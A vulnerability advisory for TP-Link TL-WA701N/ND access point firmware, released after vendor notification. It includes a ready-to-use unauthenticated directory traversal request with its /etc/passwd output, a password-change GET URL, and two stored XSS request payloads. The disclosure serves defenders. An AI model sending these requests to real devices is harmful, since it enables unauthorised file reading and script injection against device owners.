Device Name: TL-WA701N / TL-WA701ND
Vendor: TP-Link

============ Vulnerable Firmware Releases: ============

Firmware Version: 3.12.6 Build 110210 Rel.37112n
Firmware Version: 3.12.16 Build 120228 Rel.37317n - Published Date 2/28/2012
Hardware Version: WA701N v1 00000000
Model No.: TL-WA701N / TL-WA701ND

Firmware download: http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1

============ Vulnerability Overview: ============

    * Directory Traversal: 

Access local files of the device. For example you could read /etc/passwd and /etc/shadow.

Request:
GET /help/../../etc/passwd HTTP/1.1
Host: 192.168.178.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.2/help/

==>> no authentication needed!!!

Response:
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Access Point WA701N"
Content-Type: text/html

<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WA701N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.178.2";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/TP-Link-directory-traversal.png

This traversal vulnerability was already reported on some other TP-Link devices: https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

    * The request for changing the password is a HTTP GET and the username and password are parameters of this HTTP GET: 

http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX&newpassword2=XXXX&Save=Save

    * Stored XSS: 

Injecting scripts into the parameter Desc reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

-> Wireless MAC Filtering -> Add or Modify -> put your XSS in the description (parameter Desc)

Example Request:
http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>&Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save

This XSS vulnerability was already documented on a other device and firmware version: http://www.exploit-db.com/exploits/19774/

    * Stored XSS: 

-> System Tools -> SNMP:

Injecting scripts into the parameter sys_name and sys_location reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

http://192.168.178.2/userRpm/SnmpRpm.htm?snmp_agent=0&sys_contact=123&sys_name=</script>&sys_location=<script>alert('XSSed')</script>&get_community=111&get_source=123&set_community=123&set_source=111&Save=Save

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-011
Twitter: @s3cur1ty_de

The traversal vulnerability was already reported on some other TP-Link devices: https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

The stored XSS vulnerability in the Desc parameter was already documented on a other device and firmware version: http://www.exploit-db.com/exploits/19774/

============ Time Line: ============

August 2012 - discovered vulnerability
06.08.2012 - reported vulnerability to TP-Link
14.02.2013 - public release

===================== Advisory end =====================